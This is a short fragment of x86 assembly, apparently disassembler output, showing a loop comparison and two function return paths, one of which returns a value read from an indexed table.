sbb eax, eax
or eax, 1
test eax, eax
je 0x4568bc
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x456865
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret